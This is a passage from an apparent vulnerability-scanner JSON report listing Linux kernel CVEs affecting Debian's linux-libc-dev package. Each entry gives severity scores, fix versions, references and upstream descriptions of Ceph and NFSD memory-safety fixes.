"PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89653", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1325170763105f6d2a5024f8f78f185a27cabc34174d47b4745bb0c981a7627a", "Title": "kernel: kernel: Memory corruption via out-of-bounds write in Ceph client", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: reject export_targets ranks \u003e= CEPH_MAX_MDS in mdsmap decode\n\nMDSMap export_targets entries are monitor controlled. check_new_map()\nuses each entry as a bit number in a fixed stack bitmap, so a rank\noutside the protocol namespace can make set_bit() write past the end of\nthe array.\n\nReject ranks outside CEPH_MAX_MDS while decoding the map. Do not\nvalidate against possible_max_rank here because maps may legitimately\nreference ranks beyond a temporarily reduced max_mds.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89653", "https://git.kernel.org/linus/aedc9053d909508a5f56c3f49f885fc030df4730%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89653.mbox", "https://git.kernel.org/stable/c/3740c88ca9cb2210a8dbdd55ea4cec119fbe86fe", "https://git.kernel.org/stable/c/4d298880f82c42383b36946bafde7ccf4d804c9b", "https://git.kernel.org/stable/c/736adee11af36e407ed902264f8b2fb5cf94b62f", "https://git.kernel.org/stable/c/8c823bbab3c24e657469a84db96902ba82d4e8bb", "https://git.kernel.org/stable/c/96c3f5fbb0d5386e7111426f047f98cec4586674", "https://git.kernel.org/stable/c/aedc9053d909508a5f56c3f49f885fc030df4730", "https://git.kernel.org/stable/c/c4addccd05bacbef2144b4db14853d0308a218ac", "https://linux.oracle.com/cve/CVE-2026-89653.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89653", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89653" ], "PublishedDate": "2026-09-11T20:19:51.4Z", "LastModifiedDate": "2026-10-19T09:18:02.8Z" }, { "VulnerabilityID": "CVE-2026-89656", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89656", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fdaadfa3668ec51e6f14c6b4919630b2b3c4358da46c3a5d3878c29b6fc3a19c", "Title": "kernel: libceph: reject buckets with mismatched CRUSH ids", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: reject buckets with mismatched CRUSH ids\n\ncrush_decode() stores bucket data by array slot, and the mapper later\nderives the per-bucket workspace index from the decoded bucket id. A\nmalformed map can therefore make one bucket reuse another bucket's\nworkspace by encoding an id different from -1 - slot.\n\nFor uniform buckets, the second replica selection expands the source\nbucket's permutation into that aliased workspace buffer. If the source\nbucket is larger than the aliased bucket, the write runs past the smaller\npermutation array and can escape the kvmalloc'd CRUSH workspace. KASAN\nreports a slab OOB write of 4 bytes in bucket_perm_choose().\n\nReject buckets whose encoded id does not match their array slot. Valid\nCRUSH maps already use the canonical negative id corresponding to the\nbucket slot, so this restores the invariant expected by\nwork-\u003ework[-1 - in-\u003eid] without changing valid map behavior.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89656", "https://git.kernel.org/linus/3cde4a8302301679937474a5f7a851394cc1bd11%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89656.mbox", "https://git.kernel.org/stable/c/00562ccd4e88d092b9b851df50fad20442bfeb24", "https://git.kernel.org/stable/c/3516a4131c4e45d62ee4e42e82c36930e8c1fbbd", "https://git.kernel.org/stable/c/3cde4a8302301679937474a5f7a851394cc1bd11", "https://git.kernel.org/stable/c/4aeb93daadf388e72073abc204312dd364eeb30a", "https://git.kernel.org/stable/c/6e5c6ce252b1eccfd41670a5cf95ab44f7ba7022", "https://git.kernel.org/stable/c/79900d978158b2d80eef952fc41b9e4dc58d7b83", "https://git.kernel.org/stable/c/baad5875fdd2f5e248250fc3519bb045d64f1716", "https://git.kernel.org/stable/c/ee59040d6ed1a5f8d10d27174b8f32c90ca8e89a", "https://linux.oracle.com/cve/CVE-2026-89656.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89656", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89656" ], "PublishedDate": "2026-09-11T20:19:51.813Z", "LastModifiedDate": "2026-10-19T09:18:03.343Z" }, { "VulnerabilityID": "CVE-2026-89659", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89659", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ccbdfaa6a81c4aca24692e9d451aaa9c413e20c41df4161dbd37958764ad039b", "Title": "kernel: NFSD: Prevent client use-after-free during delegation revoke", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Prevent client use-after-free during delegation revoke\n\nA delegation stateid holds only a bare pointer to its owning\nnfs4_client and does not keep it alive. The client survives its\nstateids only because __destroy_client() drains cl_delegations and\ncl_revoked before free_client() runs.\n\nnfs4_laundromat() breaks that invariant: it unhashes an\nexpired delegation from cl_delegations, drops deleg_lock, then\nrevoke_delegation() relinks it onto cl_revoked under cl_lock. In that\nwindow the delegation is on neither list, so client_has_state() can\nreport no remaining state.\n\nEvery teardown path first requires cl_rpc_users to be zero, but\nthe laundromat holds no such reference. A client whose recalled\ndelegation has just timed out can therefore reach free_client()\nwhile revoke_delegation() is still about to dereference cl_lock,\na use-after-free.\n\nPin the client with cl_rpc_users across the revoke so teardown blocks\nuntil it completes, then reap the delegation from cl_revoked. A client\nalready expiring reaps its own, so skip it and leave the delegation on\ndel_recall_lru.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89659", "https://access.redhat.com/security/cve/CVE-2026-89659", "https://git.kernel.org/linus/4683ca76b3b7e5808338491c6eb3c20e6b4894d5%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89659.mbox", "https://git.kernel.org/stable/c/0dd276b1324a5e08e83c6f675919946c9f0d61c9", "https://git.kernel.org/stable/c/2a9d637c2a8fd8ac29ad9b29f28d122ef75c1a56", "https://git.kernel.org/stable/c/2f9a200c0ea5b214609b8cea2b6666458bcb54cd", "https://git.kernel.org/stable/c/3c0a53ee0b442348d8d2286d6960d3f07bb3a3d3", "https://git.kernel.org/stable/c/4683ca76b3b7e5808338491c6eb3c20e6b4894d5", "https://git.kernel.org/stable/c/94f0c73797c30a35812ffb32d11b8737d245c405", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-66orhzycbngw.toml", "https://linux.oracle.com/cve/CVE-2026-89659.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89659", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89659" ], "PublishedDate": "2026-09-11T20:19:52.18Z", "LastModifiedDate": "2026-10-30T13:20:25.097Z" }, { "VulnerabilityID": "CVE-2026-89663", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89663", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8c15a226facdda5278b169aed58e0560793e93d2bb7d3c4a35be78cd7da2c2b2", "Title": "kernel: nfsd: revoke copy-notify stateids before dropping their reference", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: revoke copy-notify stateids before dropping their reference\n\nCopy-notify stateids live in the s2s_cp_stateids IDR and on their parent\nstid's sc_cp_list, pinned by a single membership reference.\n_free_cpntf_state_locked() only unlinks an entry once its refcount reaches\nzero, so any revoke path that runs while a concurrent\nfind_cpntf_state()/manage_cpntf_state() holder has elevated cs_count drops\nthe reference without unlinking, leaving the entry discoverable with its\nmembership reference already consumed. A second revoke or a laundromat tick\nthen frees it while the reader still holds the pointer -- a\nKASAN-detectable use-after-free at the reader's nfs4_put_cpntf_state().\n\nThis affected all three revoke paths:\n\n - The parent-stid drain (nfs4_free_cpntf_statelist()) repeatedly called\n _free_cpntf_state_locked() on the first list entry; a holder that had\n bumped cs_count made it return early, so the next iteration\n re-decremented and burned the holder's reference.\n\n - OFFLOAD_CANCEL (manage_cpntf_state()) and laundromat expiry likewise\n used _free_cpntf_state_locked() and could drop 2-\u003e1 without unlinking.\n\nAdd revoke_cpntf_state_locked(), which unhashes the entry from the IDR and\nsc_cp_list first (deferring the final free to any holder), and use it from\nall three revoke paths. The drain now walks with list_for_each_entry_safe()\nand revokes each entry unconditionally, so it terminates in one pass per\nentry regardless of cs_count. The unhash is gated on\n!list_empty(\u0026cps-\u003ecp_list); the idr_remove() gate matters because\nidr_alloc_cyclic() may have recycled the so_id by then. Keep\n_free_cpntf_state_locked() for the reference-holder put path only, where a\nconcurrent revoke may already have unlinked the entry (its list_del_init()\nthen a no-op).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89663", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/3b0c3595db99bb4bebd7c8aa8a36f3c50e411bb7%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89663.mbox", "https://git.kernel.org/stable/c/06a62f6dbc60791f4229c6950b1eec6b18df9af1", "https://git.kernel.org/stable/c/3b0c3595db99bb4bebd7c8aa8a36f3c50e411bb7", "https://git.kernel.org/stable/c/5f00e0ab4de45d4f9e4bd0883cf2517acf63fc0d", "https://git.kernel.org/stable/c/6b8149448cdcb476fba4559d1ecc247efee9971b", "https://git.kernel.org/stable/c/a1fca0f7bbb7b100a39c7ba8dd7922c87c4237a3", "https://git.kernel.org/stable/c/b56d2c5f01cddbeca7d11cce81d97db4ec9a464f", "https://git.kernel.org/stable/c/caddbeffab1eaba1d2bcf5ceda35547863466705", "https://git.kernel.org/stable/c/ff8a3cff02b92b2a82f1a9876038fcf953ae9c25", "https://linux.oracle.com/cve/CVE-2026-89663.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89663", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89663" ], "PublishedDate": "2026-09-11T20:19:52.653Z", "LastModifiedDate": "2026-10-19T09:18:04.243Z" }, { "VulnerabilityID": "CVE-2026-89669", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89669", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d208f01985a0d6e11451b1c94fd57a6feddfe4f5e2c0d097f2bd05058e4db907", "Title": "kernel: nfsd: initialize copy-notify stateid before publishing it", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: initialize copy-notify stateid before publishing it\n\nnfsd4_copy_notify() finished initializing the cpntf state after\nnfs4_alloc_init_cpntf_state() had already linked it into the\ns2s_cp_stateids IDR and the parent's sc_cp_list, with cs_count == 1 (the\nmembership reference) and none held for the caller. A racing\nOFFLOAD_CANCEL (crafted cl_id == nn-\u003es2s_cp_cl_id plus the guessable\nso_id) could reach manage_cpntf_state() and free the entry, turning the\ncaller's subsequent cpn_cnr_stateid read and cp_p_stateid/cp_p_clid\nwrites into use-after-free. The owning clientid was also only recorded\nafter publication, so it could not gate an ownership check in that window.\n\nRecord cp_p_stateid and cp_p_clid inside nfs4_alloc_init_cpntf_state()\nbefore nfs4_init_cp_state() publishes the entry, and return it with an\nextra reference. The caller reads the stateid under that reference and\ndrops it with nfs4_put_cpntf_state(); on a late error the laundromat\nreaps the entry.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89669", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/129643893b79f8a3c6b72045f933fbab5ee424ca%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89669.mbox", "https://git.kernel.org/stable/c/129643893b79f8a3c6b72045f933fbab5ee424ca", "https://git.kernel.org/stable/c/4415a692346a39fdb647cbd717eda510159aaf55", "https://git.kernel.org/stable/c/4cdef96892f4fa6e70c405b6e8f2fd6972f3b64b", "https://git.kernel.org/stable/c/863b6e995665472f2af5be2436a874ab6a9e5ac6", "https://git.kernel.org/stable/c/9caad13b7cfe9ccb90cc405ac77335800e086595", "https://git.kernel.org/stable/c/a4d7fedcaaf33e60a01e53eafca9041ef966212f", "https://git.kernel.org/stable/c/d18d36395d973ef7372c8e6724970585f75b5c0b", "https://git.kernel.org/stable/c/e08a3dcaca0505f861e344a387f37f94d95dbdc2", "https://linux.oracle.com/cve/CVE-2026-89669.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89669", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89669" ], "PublishedDate": "2026-09-11T20:19:53.397Z", "LastModifiedDate": "2026-10-19T09:18:04.99Z" }, { "VulnerabilityID": "CVE-2026-89674", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89674", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ff3728497291b41d328b344250644d150b887a89a16a05c2ec92ca12d0f685dd", "Title": "kernel: nfsd: fix XDR length calculation in nfsd4_ff_encode_layoutget", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix XDR length calculation in nfsd4_ff_encode_layoutget\n\nThe XDR buffer size calculation in nfsd4_ff_encode_layoutget() has\nmultiple errors that can result in either an out-of-bounds write or\nleaking uninitialized kernel memory to the client:\n\n - fh_len doesn't account for XDR padding on the file handle data\n - uid and gid lengths use \"8 + len\" but xdr_encode_opaque() actually\n writes \"4 + xdr_align_size(len)\" bytes\n - ds_len omits the flags and stats_collect_hint fields (8 bytes),\n while len's header constant overestimates by 8 bytes -- these\n partially cancel but leave a net mismatch\n\nThe worst case occurs with short strings (e.g. uid=0, gid=0 with an\nodd-sized file handle), where the function writes up to 5 bytes past\nthe reserved XDR buffer. Conversely, when string lengths happen to be\n4-byte aligned, the reservation is too large and stale buffer content\nis sent to the client.\n\nFix this by breaking out every encoded field explicitly in the ds_len\ncalculation, using xdr_align_size() for all variable-length opaque\nfields, and correcting the header constants.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89674", "https://git.kernel.org/linus/f9868174af49d207fbaf0c5e055d088a983684af%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89674.mbox", "https://git.kernel.org/stable/c/0380129b1373c437eb35401a174671c8888f4b80", "https://git.kernel.org/stable/c/29e4478e2ed5a227e8f0c33cacb91bf227cedd47", "https://git.kernel.org/stable/c/3a7fd224df0fbb42167eb1b77be45d72fe0b1098", "https://git.kernel.org/stable/c/65a72b721943618eeb3a41c8b36e915591f3f83f", "https://git.kernel.org/stable/c/bee826c00ac900473f91306f1f3e5a5a81fd4a74", "https://git.kernel.org/stable/c/c81cef6a805dec266c10fc4f83c93d6fcf1a2b43", "https://git.kernel.org/stable/c/e7d9d23ecd9172f05b09bb678ff22db8e361c428", "https://git.kernel.org/stable/c/f9868174af49d207fbaf0c5e055d088a983684af", "https://linux.oracle.com/cve/CVE-2026-89674.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89674", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89674" ], "PublishedDate": "2026-09-11T20:19:54.013Z", "LastModifiedDate": "2026-10-19T09:18:05.607Z" }, { "VulnerabilityID": "CVE-2026-89675", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89675", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0bf1123e4ae691c03797da77800116c22470b46fc56da0317702ad94d2f93515", "Title": "kernel: nfsd: fix UAF in async copy cancel and shutdown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix UAF in async copy cancel and shutdown\n\nAn async copy could be freed or used after free while a teardown caller\n(OFFLOAD_CANCEL, nfsd4_shutdown_copy, nfsd4_cancel_copy_by_sb) raced the\ncopy kthread:\n\n - find_async_copy() bumped copy-\u003erefcount but left the copy on\n clp-\u003easync_copies, so the reaper's cleanup_async_copy() could run\n release_copy_files() concurrently with a cancel/shutdown caller. Both\n put and NULL nf_src/nf_dst without a common lock, double-putting the\n nfsd_file and freeing it early.\n\n - nfsd4_do_async_copy() set NFSD4_COPY_F_STOPPED before its final uses\n of the copy (nfsd_update_cmtime_attr() on copy-\u003enf_dst,\n nfsd4_send_cb_offload()). nfsd4_stop_copy() treats a set STOPPED bit\n as \"kthread done, skip kthread_stop()\", so a teardown caller ran\n release_copy_files() -- which puts and NULLs nf_dst -- while the\n kthread still dereferenced it (NULL/UAF).\n\n - copy-\u003ecopy_task was never pinned. The one-shot kthread self-reaps on\n return, so kthread_stop()'s get_task_struct() could touch a freed\n task_struct.\n\n - co_cb is embedded in the copy, but nfsd4_send_cb_offload() held a\n reference only on the client, so a concurrent teardown could free\n the copy while the CB_OFFLOAD callback was in flight.\n\nFix the teardown lifetime as a whole:\n\n - find_async_copy() unlinks the copy (clear cp_clp, list_del_init)\n under async_lock; the cancel, shutdown, and sb-cancel paths drop the\n list-membership reference via nfs4_put_copy() after nfsd4_stop_copy().\n Drop the now-redundant list_del fixup from cleanup_async_copy().\n\n - Because unlinking hides the copy from the reaper, its\n cleanup_async_copy() can no longer remove the copy's s2s_cp_stateids\n entry; the cancel/shutdown/sb-cancel paths now call\n nfs4_free_copy_state() themselves (while cp_clp is still valid) so\n the entry does not dangle at freed memory for the laundromat and\n manage_cpntf_state() to dereference.\n\n - Give the kthread its own 